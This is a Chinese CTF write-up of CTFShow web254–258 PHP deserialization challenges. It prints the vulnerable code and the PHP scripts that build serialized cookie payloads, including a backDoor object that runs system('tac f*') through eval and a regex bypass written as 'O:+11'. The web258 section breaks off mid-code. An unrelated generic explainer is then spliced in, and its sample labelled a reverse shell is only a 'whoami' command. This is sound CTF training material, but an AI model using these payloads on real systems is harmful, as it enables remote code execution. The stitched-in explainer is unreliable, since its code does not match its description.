【CTFSHOW】web入门反序列化

web254

include('flag.php');

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
   
        return $this->isVip;
    }
    public function login($u,$p){
   
        if($this->username===$u&&$this->password===$p){
   
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;
            echo "your flag is ".$flag;
        }else{
   
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = new ctfShowUser();
    if($user->login($username,$password)){
   
        if($user->checkVip()){
   
            $user->vipOneKeyGetFlag();
        }
    }else{
   
        echo "no vip,no flag";
    }
}

GET传参即可:

unserialize254flag

web255

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
   
        return $this->isVip;
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;
            echo "your flag is ".$flag;
        }else{
   
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
   
        if($user->checkVip()){
   
            $user->vipOneKeyGetFlag();
        }
    }else{
   
        echo "no vip,no flag";
    }
}

这次使用反序列化了,但是要对序列化后的对象中分号‘;’进行url编码。因为cookie是以;作为分隔符的,否则会导致解析错误。我们索性对序列化后的结果全部进行url半编码。

新建一个php文件执行:

<?php
class ctfShowUser{
   
    public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a)); // O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

hackbar设置cookie头即可。payload如下:

unserialize255flag

web256

public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;
            if($this->username!==$this->password){
   
                    echo "your flag is ".$flag;
              }
        }else{
   
            echo "no vip, no flag";
        }
  }

这次添加了用户名和密码不能相同,在序列化时设置一下就好:

<?php
class ctfShowUser{
   
    public $username='truthahn';
    public $password='llama';
    public $isVip=true;
}

$a = new ctfShowUser();
echo urlencode(serialize($a));

payload:

unserialize256flag

web257

class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
   
        $this->class=new info();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class info{
   
    private $user='xxxxxx';
    public function getInfo(){
   
        return $this->user;
    }
}

class backDoor{
   
    private $code;
    public function getInfo(){
   
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

增加了后门类,直接更改class为后门类并给code变量赋值即可:

<?php
class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $class = 'info';

    public function __construct(){
   
        $this->class=new backDoor();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class backDoor{
   
    private $code="system('tac f*');";
    public function getInfo(){
   
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()));

payload:

unserialize257flag

web258

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
   
        $this->class=new info();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class info{
   
    public $user='xxxxxx';
    public function getInfo(){
   
        return $this->user;
    }
}

class backDoor{
   
    public $code;
    public function getInfo(){
   
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
   
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

在反序列化之前进行了正则匹配,规则如下:

unserialize258regular

要求不能出现O/C:数字的形式,我们可以将序列化中的类似形式更改为O/C:+数字的形式来绕过过滤:

O:11:"ctfShowUser":3:{
   s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"class";O:8:"backDoor":1:{
   s:4:"code";s:17:"system('tac f*');";}}

发现有两处:“O:11"和"O:8”。

<?php
class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'info';

    public function __construct(){
   
        $this->class=new backDoor();
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class backDoor{
   
    public
### CTFShow平台中的反序列化挑战解决方案 #### 背景介绍 CTFShow是一个提供多种信息安全竞赛题目和教程的学习平台。其中涉及到了许多Web安全漏洞的实践练习,包括SQL注入、XSS攻击以及反序列化漏洞等。 #### 反序列化的概念 反序列化是指将保存的对象状态信息转换为对象的过程。如果应用程序允许用户控制的数据参与此过程,则可能导致严重的安全隐患,如远程代码执行(RCE)[^3]。 #### CTFShow上的反序列化挑战实例 在CTFShow平台上存在多个有关PHP反序列化的挑战案例。通常情况下,这些挑战会给出一个带有已知类定义的服务端脚本,并提示参与者通过构造恶意输入来触发特定行为完成解题目标。 对于此类问题的一般解决思路如下: 1. **分析源码** 查看给定程序逻辑,识别出可能被利用的地方。特别是那些接受外部可控参数并对其进行unserialize()操作的位置[^4]。 2. **寻找可操控点** 寻找能够影响到`__destruct()` 或者 `__wakeup()` 魔术函数调用链路的机会。因为当对象销毁时这两个特殊成员会被自动调用,在这里可以植入自定义指令实现任意命令执行等功能[^5]. 3. **构建Payload** 利用上述发现创建合适的payload字符串,使其能够在服务器上成功解析成预期形态从而达成目的。这一步骤往往需要结合具体环境下的其他条件共同考虑,比如php版本差异等因素都会带来不同表现形式[^6]. ```php // 假设有一个简单的易受攻击的 PHP 类 class VulnerableClass { public $command; function __destruct(){ system($this->command); } } // 构造 Payload 实现反弹 Shell 的例子 (仅作教学用途) $malicious_data = 'O:13:"VulnerableClass":1:{s:7:"command";s:9:"whoami > /tmp/output";}' ``` 请注意以上代码仅为说明原理所用,在实际环境中切勿非法尝试!
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

TurkeyMan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值